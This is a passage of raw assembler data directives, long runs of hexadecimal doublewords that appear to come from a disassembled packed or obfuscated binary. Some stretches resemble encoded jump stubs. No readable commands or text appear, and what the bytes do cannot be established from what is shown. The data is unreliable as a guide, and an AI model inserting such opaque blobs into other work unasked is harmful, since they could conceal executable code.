488DD6F7h, 985C5281h, 94B15F79h, 67F5A49Bh, 0F78160Fh dd 0AF7709DCh, 0BE1FCEFBh, 73463h, 9BA40E00h, 0A64C8306h dd 4F18E18h, 0C9FC6521h, 0FBAA8E1Ch, 3889F2A1h, 7B1A9D70h dd 0F3811416h, 9B6C398Ah, 0BE84D53Ah, 37C564E7h, 0B73AF3D2h dd 370E5962h, 679AF376h, 0F7B2AE87h, 3BEA9948h, 0E72ADFC0h dd 0DD2CAFE4h, 0CF2h, 0FB5C35FCh, 0A001949Ah, 49AA7D3Fh dd 0F051C4E8h, 96F7AC8Fh, 29120568h, 8EB21374h, 6E55B617h dd 2EF758B9h, 3BA0FC5Dh, 0B2B7E608h, 0FD42E9F7h, 0A5069BA4h dd 25A86144h, 0B134F5D0h, 2436210h, 0D41C5EE1h, 81B4DC08h dd 0F18EC06Dh, 0CF04B362h, 8EACB146h, 0B51AA8E5h, 0C42A5D90h dd 13F18E94h, 911489AEh, 0D9DE43F2h, 7322C144h, 6C82B50Ah dd 6BF18E94h, 0C05757BCh, 0AF109E3Dh, 0E3A3204Fh, 0D259Ah dd 0C2D00000h, 0F18E01FAh, 0FDA4EE4Dh, 0C299FFFFh, 0F18E1830h dd 72DBAB7Ah, 50A49A51h, 0B3417377h, 99C6174Ah, 38E7FBAAh dd 0E4B97ECFh, 0CB34C261h, 81E2AB7Ah, 1840520h, 930E83ACh dd 0E4E7211Eh, 27BA098Ch, 3100000Ch, 0D5369708h, 76D738EFh dd 1F80E1B4h, 0C627881Fh, 0A1CF30E5h, 0AB604BCCh, 4EC1E94Ah dd 0F2A78CEDh, 94153091h, 3F72D733h, 0F7B2B8AFh, 0A4347920h dd 30850881h, 70119415h, 1162A3C2h, 85EA782Fh, 2686E7A0h dd 9AE32749h, 0A44A7DD2h, 33F18E0Ch, 6E81B84h, 0C9F18E0Ch dd 1E4D8C1Ah, 0F8000000h, 46D4FA0h, 48E76A3Fh, 0CFEF6499h dd 0E7F82D23h, 8EAA1259h, 1E7DF18Eh, 0FFFFFCEEh, 1A74B1C9h dd 67F7EB1h, 0A150FBAFh, 260AE71Eh, 2A4F7ADh, 48C8A7E3h dd 0B07DA102h, 14000001h, 1E628CBFh, 0C675F7ADh, 0C2E338h dd 53F18E18h, 0EDBE87DCh, 911A2B8Ch, 5864B50Eh, 9AF037C5h dd 43F18E17h, 0D025A87Fh, 5FB437EEh, 0A241C45Bh, 0EC739244h dd 80BDDC8Eh, 2F83E4A5h, 0BD1295F9h, 5DBE1FE8h, 8AB40548h dd 1822CC13h, 0B37BF18Eh, 8FBA59DCh, 77AE31E0h, 0F18E180Bh dd 0C80423C5h, 9AE33AA7h, 1469Eh, 81A44900h, 15308508h dd 46DF3394h, 85ACDF48h, 52FBAF1Eh, 76C720A3h, 84FDDB0h dd 0F7AD1EEAh, 0C40524C6h, 4BD95273h, 24088E7h, 35BDA1h dd 0FF540000h, 0AD1622CCh, 0DCB37BF7h, 1F7402B1h, 0B11A74B1h dd 0AF37237Eh, 192576FBh, 841B2186h, 991CCBF6h, 0AD379062h dd 5F7E20F7h, 2464C23h, 0B3F9A1h, 0A4A40000h, 0B76E5281h dd 63E69534h, 0F5782D0Eh, 9B0485A0h, 2DB0654Ah, 287D008Eh dd 0C62B8C1Dh, 84052071h, 0D31B6201h, 4F18E18h, 870A9D9Fh dd 64AB39E8h, 0F18E103Fh, 3AA789DAh, 6DF09F76h, 0CADB40CEh dd 998CE041h, 30EE0033h, 83A7F18Eh, 0BFEA890Ch, 0C5F86110h dd 0FBADBD1Ch, 4CA10AB9h, 0CD2AC4F7h, 0FEADF7AFh, 6B200B70h dd 1186A90Ah, 0E2091196h, 0C71699E4h, 0A42h, 4BAC654Ch dd 0F051C4EAh, 99FAAD8Fh, 40A17438h, 0E647DCDFh, 5962D5B8h dd 3E0263C4h, 9EA50667h, 7E47A809h, 8BF04CADh, 0B2BA9658h dd 4D9239F7h, 0A5069BA4h, 47A86144h, 881A4F6h, 0D7DB2C85h dd 8498BD40h, 9D94FC26h, 7E3EA352h, 91B419A7h, 0E25CB718h dd 0F3000003h, 80039AA2h, 7CFAF427h, 2EDDF18Eh, 0BD9CF17Fh dd 305EC7DDh, 8E3C94C7h, 0EC9BFBAAh, 6620055Dh, 9B47CAFDh dd 611001D3h, 0B34BA7DEh, 0C365F1C9h, 0DB0E63A4h, 0F1C9B313h dd 0F46A38BAh, 305BEC5Dh, 0E08FF381h, 659B1ED0h, 341h dd 3A7FA010h, 2D27066h, 0EB074EDCh, 0D0F18E7Bh, 0F18E7B17h dd 76369A8Bh, 7B3CB2E5h, 0EC9BF18Eh, 6C1BBA3Dh, 94DDD003h dd 0C372FBAFh, 0DCC5B548h, 83D255E4h, 966h, 77D84970h dd 1C7D1016h, 0BD1EF1BBh, 5CBD505Ch, 0FA5B30FBh, 0B576B9CCh dd 1A1E7FE0h, 0FAC12283h, 4263C425h, 0A70C68C9h, 0B2BB7A74h dd 71B65DF7h, 850881A4h, 4AA4D72Ch, 8DF18E18h, 2DF850DEh dd 32D7F861h, 0D91EE882h, 970C3398h, 7EE77514h, 0AAED7E4Bh dd 47A857FBh, 0EB5432F3h, 0CF570DB8h, 380D7201h, 257C06Fh dd 8E771FCFh, 7301B0F1h, 1EF1B90Ah, 78507ABDh, 0D75AF18Eh dd 761CD205h, 86BBF18Eh, 0A5ECDEB8h, 0A5540316h, 48DFE344h dd 141B6CC5h, 0EC5D4F9h, 34E3C809h, 0A36441A6h, 4CC3E93Ah dd 199C2AC9h, 0B6386BC0h, 19F18E68h, 6A198CB4h, 0E5A184DCh dd 7928497Ch, 0FEADFBAFh, 0DCDCC883h, 0C8179AE4h, 89Ah dd 0A3049DA4h, 48A97C42h, 0F152C5E7h, 98F9AC90h, 3E9F7437h dd 0F1BA7D10h, 565ABB1Ch, 36FD5EBFh, 869F0061h, 0E348A405h dd 0B2BC3EB0h, 0A5EA91F7h, 0B11A74B1h, 0AA8E477Eh, 70D988FBh dd 31E4CA1Bh, 1C810FAEh, 0BF208114h, 9ABB24FBh, 981C0EE0h dd 8D109E12h, 3DA6E045h, 0CF71BF0Ah, 0E6691801h, 9E07879Eh dd 0AFB2066Bh, 0A520CFFBh, 0E4DCED24h, 23F443C6h, 2D000008h dd 0C92A8B04h, 6ACB2CE3h, 0B6CCD40h, 0AA0B6C23h, 7DAB0C81h dd 8F0427E8h, 32E5CD2Eh, 0D64B70D1h, 78311475h, 2356BB17h dd 0F7B2BCCBh, 0A420650Ch, 2C850881h, 184AA4D7h, 0DE8DF18Eh dd 0CBDAEB50h, 71D12D1Dh, 0D903F71h, 0F1B6076Ch, 6CFA991Ch dd 475E9BBAh, 6A0565C6h, 0DB9AE33Bh, 165h, 5F2A5172h, 40293800h dd 6AF8A77Eh, 881A415h, 0F1A77E9Fh, 9A4D1EEBh, 1134890Ch dd 9645D8E2h, 9444E135h, 2277FAAFh, 6100831Ah, 459A03B2h dd 4B31BDF0h, 3568F18Eh, 0F18E4BB9h, 95446F1Eh, 5171C007h dd 37E6FBAFh, 4D757DB4h, 0E23BF7ADh, 0CD1205C1h, 4A7DD171h dd 0F7ADB4A4h, 47D58433h, 353A7695h, 0E6A102D7h, 71F4AB95h dd 490544D2h, 0B0000000h, 349474B1h, 34027C3Bh, 79AC15C4h dd 0FBAF7628h, 0E4B97ECFh, 19D50861h, 0BEF7AD38h, 0A7D2600Fh dd 0FB1C75F8h, 0C273963Fh, 2168F64Ah, 0F7AE11D1h, 0E21E3DDFh dd 0A1031F8Dh, 0E806398Eh, 0E7F7AE05h, 8D6BAA38h, 16000000h dd 850881A4h, 179A0F30h, 0A72AE3C2h, 59BA7352h, 95DAD3F4h dd 5B465D18h, 313586CDh, 495CF18Fh, 1A0B5FC0h, 5E65F2B6h dd 0F8971AC9h, 34ADE049h, 81FBAE86h, 171869D2h, 0FFC02182h dd 0F000AF2Ah, 57DAE4E2h, 6BD08h, 31E2C700h, 0D6496FD0h dd 732A1475h, 1A8DB112h, 0C25758B9h, 0DD523361h, 7BDC3DD2h dd 1E7FE0B7h, 0C2238419h, 6DC92AE3h, 0BD19D508h, 17BEF7B2h dd 184BA0D2h, 0F18E18D6h, 57BC4AF9h, 0FD5EBF54h, 0ADFE5F28h dd 9F0881A4h, 3E6B3A7Eh, 206EA37Ah, 79FC8ABBh, 0F3D20124h dd 0CF2A8B3Ah, 55h, 0BE7FA07Ah, 633DF461h, 0AAA1ED7Bh dd 508349DCh, 0F18F119Eh, 2DE0CC31h, 0AD5C0BAAh, 87BE1144h dd 600FFBABh, 26D6F7h, 647022DAh, 1FB47D6h, 0A7107EA7h dd 2D1E3152h, 0FA023C94h, 0C9A5256Ch, 33E201CEh, 4745A4h dd 87DC0000h, 8EC59A54h, 8E3DF1h, 764FA0ABh, 59332B5h dd 0A50E78ADh, 0AF2AE772h, 8E11C0FBh, 4ADFE435h, 9A8275BCh dd 0A745F7ADh, 0C1CD5888h, 8DB20358h, 16438A18h, 0AFF59008h dd 82449F00h, 0DB000000h, 5DEBA28Ah, 1A74B108h, 8E4F7EB1h dd 0D180FBAAh, 0A8EC1048h, 0D09FDBFAh, 75A107BCh, 55h dd 1A74B120h, 8E527EB1h, 0D281FBAAh, 99A3F449h, 56E48306h dd 0F4A2F20Ah, 0C3F94D5h, 0F7B2AEE2h, 0AADD46F5h, 0F7B2AE44h dd 0F256E493h, 0A107BC7Dh, 20C8h, 74B17300h, 14C35A64h dd 8E5778ABh, 8938FBAAh, 6034C800h, 185793B2h, 2DA107D1h dd 0Dh, 3198C2D8h, 4CABF18Eh, 0FFFFFF49h, 6474B1F7h, 0A544C75Eh dd 435A8DF6h, 0D6FBAA8Fh, 67EABD85h, 0F77A3312h, 0F01BA958h dd 0AF76BE41h, 1B2576DFh, 4DC74F84h, 6AA84E2Bh, 8A4073DCh dd 0F01CF5Dh, 0A528FDBEh, 49BA106h, 2954E281h, 3BA6F7F4h dd 0B867352Dh, 4E38ED35h, 0DE43B2E5h, 0BF24FBAAh, 0C7524FBh dd 0C122F5BBh, 65CEB86Dh, 0CF546B32h, 349D4C01h, 0E647DCE3h dd 0A8F51AA3h, 0A3644149h, 0A38CDD42h, 2AFB60EEh, 9EA7F861h dd 0B6EB8A0Dh, 0E8EBB337h, 0BB3ECCA8h, 6BD4B273h, 0D5B70138h dd 4EB76693h, 0DF6235FDh, 0E12FB240h, 0F2D3102Fh, 0B077D839h dd 3D0358DBh, 88B0016Ah, 6399215h, 8FC7D4E8h, 0FB8938E7h dd 86192378h, 198CAE03h, 92B15396h, 0F716B80Bh, 0B59AF5BAh dd 7CEEE91Fh, 5DB21BCAh, 0C71FC42Ah, 0D664138Fh, 7BEF1075h dd 0E7BC7F99h, 2690C564h, 1D821071h, 0C2FE8116h, 0A5C61B38h dd 0C0F3B0EBh, 8FC74F2Eh, 3CBDF2A1h, 3CEE7C44h, 0A18BDC1Dh dd 34FB60EEh, 0B1ADFE5Fh, 3C911476h, 1637A069h, 0FF791F05h dd 0A82BB946h, 7486719h, 9D20F5B6h, 0A1456978h, 0B4637355h dd 3559CE26h, 0D95273D4h, 7FE31850h, 5075B2D1h, 0DDE348D7h dd 5E90C74Ah, 3EF18F11h, 0A306D8Ch, 0EAD13293h, 4477CC35h dd 0F18F11AAh, 0A4497E2Dh, 0E9817E67h, 33ABD4Bh, 0F18EB5EEh dd 0E92645F7h, 87EC4DC2h, 13A17436h, 8ED266CCh, 763EE7F1h dd 3F4B5F4h, 0C580F054h, 80C79AE3h, 72FFFFFFh, 0A70881A4h dd 34F87F46h, 6029FC61h, 0CED728B1h, 8C3EB43Dh, 9415306Dh dd 0E93F0A2Bh, 2BDCD773h, 6A098C03h, 3A9E2DBBh, 9AE3CC35h dd 5510h, 4FA0BB00h, 9635B86Fh, 1975B008h, 8E4D7DB0h, 218AFBAAh dd 0B2AE00EEh, 0F7B095F7h, 0CB4067CCh, 8FE46D1Ch, 0AEE7073Ah dd 39E8F7B2h, 0D89C5FABh, 71C60726h, 0B2AEB03Eh, 7701FF7h dd 0B2AE1AD4h, 800EBDF7h, 2891FD28h, 0CF23D5F5h, 7403B201h dd 4315h, 74B1C000h, 4C7EB11Ah, 4DFBAA8Eh, 0DF6237FCh dd 0D887B240h, 86071E6Fh, 4DD66403h, 55F3E915h, 9BA4F536h dd 5207806h, 338EFD3h, 26F65EB8h, 0C831E0FDh, 0CF133595h dd 7AE39201h, 88B1C29h, 0F74CDB69h, 9F0881A4h, 0CCFF6C4Eh dd 0F18E1822h, 0D45706B5h, 0CB24A735h, 53E1B47Ah, 0F556D7EEh dd 0A10A84A1h, 0AF1EC36Eh, 7CE594FBh, 0C1FE4D5Bh, 62F0ECA0h dd 8F4AA8DFh, 0D66F7ADh, 9422F7BCh, 0E887C3E2h, 33A102B1h dd 0B947DEE2h, 4C7Ah, 0F8C01100h, 0B1429725h, 0C35A6474h dd 723CA140h, 0CA79189Bh, 0F1BB0C61h, 6EFC9B1Eh, 0AF377A27h dd 43AC5BFBh, 0D457CEF2h, 0ED24A735h, 0F7AD3705h, 63479098h dd 257AFDACh, 0B402851Ah, 0A5CE302h, 620D4968h, 0E3A10246h dd 0F1h, 881A48Eh, 9A0F3085h, 2AE3C217h, 0F230A0C1h, 0FE4A4078h dd 8D98ED70h, 0D3589BFCh, 36F18E4Fh, 588BDAE5h, 0F18E4F96h dd 4DDB8A39h, 0EB4CDDE8h, 723CBB8Ah, 0CA79189Bh, 6826FF47h dd 4291CCFFh, 7726FBAFh, 1FE8BD0Eh, 49DC3091h, 0BB83D43Dh dd 59C261E4h, 0AD3CC826h, 0CA5807F7h, 0CCBD2E61h, 0BFE001CCh dd 0FD12D3DCh, 0FE29B7A0h, 0AA95E64Fh, 0DE2F94F5h, 0F4AB91DEh dd 0A023D271h, 2D0E7301h, 7A29FCC2h, 0FD1726FFh, 62B134E2h dd 1CEh, 0DF40D1D8h, 84E5B87Eh, 25861923h, 0C425F8C4h dd 62C35863h, 0DDDE5134h, 0A286E748h, 2298AEBh, 0FACB2C8Dh dd 0F74D031h, 0B2C212DCh, 0D91EC5F7h, 0B2F7FA0h, 1A99C463h dd 5BFA7D10h, 0F6B91EACh, 3A5BC021h, 643D8881h, 0DFA59EE2h dd 350C7BE9h, 0B293F886h, 783F90F9h, 4FB415A3h, 0D66439FEh dd 184BA081h, 0F18E18D6h, 0C1A86DEFh, 0B6E15297h, 4217907h dd 30D8E004h, 8C3BC57Dh, 0C3B1F023h, 2186FBAFh, 6605881Fh dd 0F5FD34B7h, 0BBF7ADAAh, 0B1BEFA19h, 94A102B8h, 0B9h dd 184BA03Fh, 0F18E18D6h, 57BC4AF9h, 3354BD4Eh, 47DD5851h dd 30B34124h, 0B83BD0DBh, 8E7DAA81h, 899CEDF1h, 380D7200h dd 98AD0E6Fh, 0E1448C0Fh, 54093CA5h, 79FBAF71h, 101569CAh dd 2DEC0D76h, 6FC405C8h, 6A9D0694h, 1CCBADCh, 52A30CBBh dd 36242E69h, 95919188h, 0CCCD8C62h, 0ED9C4BF1h, 0B37CDD3Eh dd 98063DEh, 1FA2E2FDh, 0C1D0h, 2DE6CB00h, 0D2456BCCh dd 772E1071h, 1689B516h, 0B66B54B5h, 0D1462755h, 77D839EEh dd 1A7BDCB3h, 0BE1F8015h, 69C526E7h, 0C31DD104h, 0BB2F7B2h dd 69BA4C6h, 0D915489Dh, 0FEF18E18h, 0FF60C14Fh, 188FAF26h dd 0E647F695h, 881A495h, 0DE153085h, 359645D8h, 0D738F1D4h dd 5BDEAF76h, 0DD6E1224h, 304F01D6h, 0F859D2F3h, 94FD8E97h dd 59CCEE3Fh, 5F0DDC12h, 0BE4CFB12h, 4FC6E63Bh, 0DEB177CCh dd 0B720065Bh, 0FD9C1FF4h, 0CB7DCB4Eh, 5EC725ACh, 662FAC3Dh dd 5FC882EEh, 5EC9C22Ch, 0D8661512h, 0FBCA0726h, 5570D132h dd 130251D4h, 0AD000000h, 0EEC37FA0h, 32B9FC07h, 97CCE4EAh dd 0E9CFEE0h, 9DA40E63h, 192C8104h, 0F3B80D90h, 62469B1Eh dd 0E8D328ABh, 505BB033h, 0DBE338BBh, 426CC144h, 0CDF348CBh dd 578ED75Ah, 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h dd 337B6824h, 14890000h, 0E0895024h, 405h, 42D00h, 4870000h dd 2C895C24h, 63BF5724h, 0F7294F6Dh, 91C781DFh, 8159AD40h dd 891E76CFh, 0B9CF8178h, 81075057h, 46B7F5C7h, 8BFA8986h dd 0C481243Ch, 4, 242C8B54h, 5004C483h, 8B8h, 45280500h dd 0E8011EE4h, 0E445282Dh, 5810891Eh, 53242C8Bh, 0C381E389h dd 4, 8704C383h, 0FF5C241Ch, 835A2434h, 76E904C4h, 7FFFB9Ch dd 0DC3AA07Ah, 0ACBFB853h, 0C5030624h, 1B4CE0FFh, 0E67B7485h dd 0CB010692h, 0FF634B2Ah, 1D9F5F2Ch, 16A02DC9h, 0B0A943C7h dd 0FF6B7EA2h, 900A1673h, 0F0E73E70h, 0BB356326h, 0BB032F1Fh dd 6C0E244Dh, 8EB205Ch, 4B5A86B0h, 77E7339Ch, 0D3CE9h dd 0AF2F6800h, 0CFE90624h, 68FFFACFh, 624B00Ah, 0FACFC5E9h dd 0B14668FFh, 0BBE90624h, 68FFFACFh, 624B264h, 0FACFB1E9h dd 0B3CB68FFh, 0A7E90624h, 68FFFACFh, 624B683h, 0FACF9DE9h dd 0B85168FFh, 93E90624h, 68FFFACFh, 624B951h, 0FACF89E9h dd 0A1604CFFh, 0C03F662Ah, 0DC258549h, 0F708A165h, 17EABC80h dd 939A54A0h, 0B377EE13h, 0D4980F00h, 0F2B62DD4h, 0AD34AB5h dd 0F50DE591h, 68A019AEh, 1B6245F5h, 4A699D77h, 0F3A09FC5h dd 22AB24C8h, 0D2D69E76h, 597D311Fh, 6B9413C7h, 0CA3167F4h dd 66689091h, 3CFB4E72h, 1F34E059h, 0AC15F082h, 0A448C7ECh dd 809E7212h, 850425F2h, 9997E259h, 39360975h, 0AD000000h dd 1F43BCEDh, 95A2BCh, 8136DB87h, 2FE315F0h, 0EB97209Dh dd 25F2C213h, 40BFE6A6h, 0B26206AEh, 0D1790BF6h, 0C13D11ADh dd 24A325F2h, 5C3881BAh, 0C1D50974h, 62000000h, 9ECBC7Ch dd 98BC60A1h, 0AE40BFE8h, 0C9367131h, 44B1F5A5h, 8D0A9C63h dd 0D3A209E1h, 44E89C1Fh, 47EB1694h, 59A601B5h, 6B9413C7h dd 0A71F44F4h, 0CC8C1FD3h, 0F1D9A3DCh, 97910555h, 0FAAD61F3h dd 27CB7305h, 0AB545303h, 0C8377034h, 3558DF36h, 0D89710BCh dd 2CEC15F0h, 0D62B7B7Ah, 21D50E32h, 0A1F443AAh, 0BF426828h dd 0E861852Dh, 1448043Ch, 6AE3971Ch, 8E05FCAAh, 0BE25DCCAh dd 0FA662430h, 16FE1DB3h, 1600000Bh, 30F46B96h, 4F138A75h dd 6B2FA65Bh, 864AC13Eh, 1E6AE120h, 0BC456164h, 0DD328145h dd 0FB06A266h, 18E7C084h, 0B35FD8A1h, 19AEF2DBh, 45C3366Eh dd 6529A061h, 0CF46BD42h, 870095A2h, 0F08136DBh, 0B62FE315h dd 0BE50AFF6h, 0E360F216h, 597D8223h, 0F2C1E9BDh, 0ED04F25h dd 745C6C2Dh, 0B18109h, 450E0000h, 64249D62h, 852DBF42h dd 8B1BCF61h, 1F44E476h, 551FD3A7h, 0A936AD52h, 8033C0E9h dd 0B159EB8Fh, 60CADD8Dh, 0D3A6DCB4h, 17BB6F1Fh, 84092E85h dd 0CC5E4B0Bh, 0D3A64820h, 8327DB1Fh, 0AC2549F1h, 0F0B78700h dd 8C1CDC15h, 0BA66E375h, 25F2B6E2h, 0F91DC175h, 2E950CC0h dd 5F0B8409h, 1C1423FCh, 0BC7CF5A9h, 0DCA017EAh, 48D037CAh dd 0BBFA6600h, 0A3B0625h, 713B0000h, 50551990h, 367438AFh dd 199054CBh, 0FBAB6FE6h, 89438F06h, 68DF2284h, 89000FA4h dd 0A71EE3C5h, 0C43BC4E3h, 0FED682FBh, 9119AEF1h, 6145E659h dd 426529A0h, 45CF46BDh, 570B9D62h, 0D138AF50h, 0FEAA2366h dd 15F0B135h, 0C464F6AAh, 25F2B0EFh, 3506D857h, 9744964h dd 6A289h, 95A21600h, 0A1A77F2Bh, 2D4D1FD3h, 54072D39h dd 0B4580C45h, 2E7A8F3Bh, 530715F0h, 0FBB44C1h, 25F26D37h dd 76AF6053h, 2E029EC2h, 9425F26Eh, 2772C915h, 0C609758Ch dd 667h, 95A253h, 0B26EDB87h, 2BEB15F0h, 0CE33757Eh, 77F4862Ah dd 0E90DF2B7h, 0F2B1794Dh, 2C62DF25h, 56DBB51Fh, 0B7325623h dd 32451427h, 34680974h, 0F5000006h, 12EDBC7Ch, 94B84762h dd 0BD46E08Ah, 0D3A13911h, 0AF50551Fh, 4B9EC276h, 8430A9ECh dd 15F081CBh, 7919AC60h, 99E5AB7Ch, 5C4938FFh, 0DA86FFA3h dd 0A824CCEDh, 0A724B66Ah, 0AD3FC0E7h, 0A98EE105h, 1EBF6BE4h dd 0C3AE4406h, 0DDB25D8Dh, 386F9F79h, 67F23C7h, 781C6146h dd 0CA96F8BFh, 8549C064h, 0FC76DD22h, 576854CCh, 8FFA2C1h dd 0ADFF0000h, 8C19DD54h, 7238FC73h, 5554188Fh, 376F33AAh dd 4D0753CAh, 2CA35E48h, 4DC44B68h, 6BE21F89h, 88FF00A7h dd 0C29A46BFh, 5519AEF0h, 6245AA1Dh, 4164249Dh, 0B1089ABEh dd 0DE8A0386h, 15F610AAh, 5A0A8135h, 25F84F96h, 0F228A1D6h dd 4C5A8168h, 557B23B5h, 1ECEE9CEh, 0A151758Ch, 0A0782406h dd 3325F7F0h, 0D764DB7Fh, 0F0CAA24Eh, 9D5D25F7h, 0A151F50Ah dd 0BF67F906h, 9CED489Bh, 0F0977723h, 863A25F7h, 986740F4h dd 0F08D7121h, 38F825F7h, 5A02947Bh, 0DF228636h, 0FE01A666h dd 89F63DAh, 0F1C565F7h, 525F7A0h, 18CC5EA3h, 59DD6F92h dd 0F22D00DEh, 1A67B63h, 0E4C387FEh, 15E9891Bh, 4B25F7F1h dd 659C0ECEh, 8C072BD3h, 0A5D8CF52h, 0C5EB164Fh, 0E85F030Ah dd 103B9h, 62454200h, 4564249Dh, 0F4FE28BAh, 3B907012h dd 9F06B65Ah, 0F6AA3C60h, 9C6543B2h, 2CBE620Ah, 0D327B48Ch dd 28D7D01Fh, 95F83F96h, 963C701Ch, 13C715F5h, 2F3F8ACh dd 0CEED83F0h, 7E1h, 0BF36CBE1h, 0DE55AAFBh, 0FA71901Ah dd 158C7336h, 35AC5551h, 80262FE9h, 6D460A81h, 41672BA2h dd 228549C0h, 249D66DDh, 0AEEFA078h, 88FB3319h, 0B9D6245h dd 3BB24F57h, 59D03177h, 76ED1295h, 940DF4B2h, 62AD5D4h dd 99E6C074h, 5F4B1ECFh, 27B95D1Fh, 3DCF4073h, 51E31C89h dd 0A18C52CDh, 2038A621h, 4313EB97h, 69B91FD3h, 2F0BF1B2h dd 0C0E498D1h, 0F46B9610h, 94520F4Ah, 119EF0h, 8C150000h dd 0D2C008E0h, 0C3E79B1Fh, 77DA60h, 45630000h, 6B0B9D62h dd 1FD3B197h, 0C8904ECDh, 9B101F92h, 82CAA0Ch, 39B04F58h dd 55CE3375h, 5EF01195h, 600092B6h, 1FD4178Bh, 72AF2FAEh dd 0DD54CB36h, 259E6345h, 98BC4565h, 9F565206h, 96E7508h dd 0CC4F0EECh, 6EF28428h, 7236EBF3h, 8E68188Fh, 0BE1FD39Bh dd 94BE5028h, 0FED07DF0h, 7C0AFFFFh, 0D6882246h, 27A77093h dd 4C2F556Ah, 4D688C8Ch, 39Fh, 9D6245D6h, 2853EE24h, 0C211BA17h dd 466A9512h, 43014B4h, 4CD71FD3h, 0E7188F92h, 6139E56Eh dd 7D1FD304h, 0E69AD32Ch, 20874BC2h, 10D04DDFh, 2ED66897h dd 48A6E0Ah, 0E9BE1FD3h, 68149D16h, 1FD30490h, 0B94B6F23h dd 47C0D562h, 0F573679Bh, 0D73EF215h, 0F002D0A1h, 7AEF0EA4h dd 7A000006h, 9458CF32h, 0B377EE11h, 0CF930AF7h, 0EAAE25DAh dd 82CE45BCh, 20E1C5C8h, 41CEE5A9h, 5FA206CAh, 7C8324E8h dd 17C33C05h, 19AEEE3Fh, 45279AD2h, 570B9D62h, 773BB24Fh dd 9458CF30h, 0A95DEF12h, 28B04FDh, 0D3A17E56h, 395D111Fh dd 36A823A7h, 0AFC9EC22h, 93F86989h, 1AE7BF6Fh, 3CC5E1A1h dd 0A2F7A118h, 4BF0947Eh, 2D3h, 0E78B8CC2h, 0CA3008B4h dd 0FC31FD2h, 9A8C62E9h, 93A21376h, 73FC85FEh, 0D3A1EFC7h dd 32CE821Fh, 1FD3A15Ah, 831539EDh, 9F624606h, 0A541650Dh dd 1E20A0A7h, 2038A625h, 0A113EB97h, 0F2A61EC2h, 0B96138CEh dd 0ECACF185h, 1E2147BAh, 85049C74h, 7C690226h, 0F6000002h dd 85FE93A2h, 8B1DE2C5h, 9A46BFE3h, 1FD3A1C2h, 0AB545515h dd 144D7119h, 0C851CE60h, 0D3A1441Ch, 0FF23D71Fh, 20A06563h dd 7A64E31Eh, 778A1EDEh, 83193DE5h, 0F185B936h, 23ED7h dd 93A26400h, 0FDD985FEh, 981FD3A1h, 0B4B252E4h, 0E01E20A0h dd 86792CC7h, 179C50E2h, 55D466F8h, 0C746A489h, 0B9552417h dd 1078F185h, 5000002h, 6F47F37Ch, 21FD3A1h, 5ED72A4Eh dd 2606B22Bh, 891FD3A1h, 0CA354C53h, 274B674Dh, 38C13AEEh dd 0D35AB48Ch, 835B071Fh, 161FD35Ah, 0FC752962h, 0D35A7850h dd 33570B1Fh, 4F6424A1h, 2009CC0h, 2E1E205Ah, 3FF3857Ch dd 0FB059768h, 5DBB726Ch, 0D3AB57E0h, 791EC259h, 0F952A808h dd 88BEF767h, 13747204h, 193DE1A1h, 0BEFB409Eh, 4FF18521h dd 19Bh, 1B6245DCh, 4FF54B79h, 0D728810Fh, 55F99D45h, 0CFA753DCh dd 621FD2D3h, 7BF88AAEh, 0D36E46F2h, 78011FD2h dd 0D2D3F4CCh, 2FD3871Fh, 0B34C5B0Bh, 6B79AF3Ch, 0FC27EFACh dd 92E81A5h, 489C2C02h, 56FA9380h, 161C31DDh, 0E06915F0h dd 0F2145C34h, 173BEF25h, 0F8982ADEh, 25F21524h, 68D30B8Ah dd 9753511h, 37BCh, 0F37C4900h, 0D3A16F47h, 2A4E021Fh dd 0B42D60D7h, 0F0806308h, 58501015h, 0C05028D4h, 2FE325F2h dd 0AD51F98Bh, 0C0A77B1Bh, 8E0D25F2h, 5DAEEB50h, 0BC3F0974h dd 0CC000000h, 17EABC7Ch, 9B9DD85h, 1BCF619Eh, 74FD768Bh dd 7C0EF1B4h, 0A16038D4h, 3FF31FD3h, 29699119h, 2C50282Ch dd 3EC1E69Ah, 366F2FACh, 6B8F37C9h, 0BA91ECBBh, 53A9409Ah dd 80B62FD3h, 9DB10BC9h, 50D75D87h, 76416653h, 8737AED2h dd 1FD36A62h, 79F00F98h, 0F7702512h, 0F4D6664Bh, 0E65F1315h dd 0A818026h, 3AA16046h, 0F007B446h, 0C24867FDh, 0C2000003h dd 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h, 0CA168D74h dd 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h, 5F0B844Dh dd 19AEEB87h, 7C6FE21Ah, 0EF13EEBCh, 239A673Fh, 3EB7485Fh dd 0A13109B5h, 10C41FD3h, 45FE75ECh, 570B9D62h, 7636AF50h dd 1CE3C231h, 0AC3EE28Ah, 0AE52ADF8h, 6F7A0B88h, 6B8FD349h dd 0BE6F44F4h, 55E21FD2h, 83EC740h, 0DE6DEF0Dh, 152E9C52h dd 342FB6CAh, 0EFD06C90h, 9415EFC7h, 45F269E0h, 16149162h dd 0D3A1926Ah, 0CD71251Fh, 5DEF933Bh, 8A01FEA9h, 561CC7FDh dd 7EC660DAh, 54FAC458h, 284CA54Eh, 0B62F62D5h, 0C53A6D2Dh dd 0C3F005A1h, 0C97D15EFh, 431BC750h, 9625F1C2h, 0F1C312EAh dd 0B8F1A525h, 0D14EE004h, 45699611h, 0F1C2D5A9h, 22BC3B25h dd 0D02F7636h, 674316ACh, 548A0975h, 4752B0C6h, 983155EFh dd 3Dh, 7E95A225h, 0A24EF12Ah, 0B84280Dh, 0F053BA5Fh, 3AB36715h dd 0B1D52C7Ah, 93AB7F1Fh, 0E8BF25F2h, 0D8D18517h, 96119527h dd 34CDD948h, 0F856FAA2h, 83D66579h, 2A0975B2h, 0FAh, 9D6245B7h dd 0B24F570Bh, 0C43B6C20h, 1297E32h, 0D3A17D55h, 0B85C101Fh dd 0A76C9141h, 50D91FD3h, 0D3A6CCA4h, 0AF7E721Fh, 0F825FAFAh dd 0B28A36BFh, 451FD3A8h, 19C9ED91h, 6DFA718Eh, 8F78CB37h dd 57939B17h, 1908E3B2h, 30E004A8h, 9FF68877h, 0F37CF598h dd 61E481BDh, 5BD45F28h, 0D482D7AFh, 92B66A1Fh, 0F197CDF6h dd 178E4215h, 3A8087B0h, 9F533E35h, 0D07CF599h, 1C14B2F5h dd 0A565DE92h, 0A77F2B01h, 3A2C14F2h, 0A76BE286h, 4FB2F6FFh dd 900244ABh, 67FDFA67h, 1F448h, 49B8F400h, 68970ED2h dd 847D2DF1h, 9F60490Dh, 0BF426428h, 3B42FC48h, 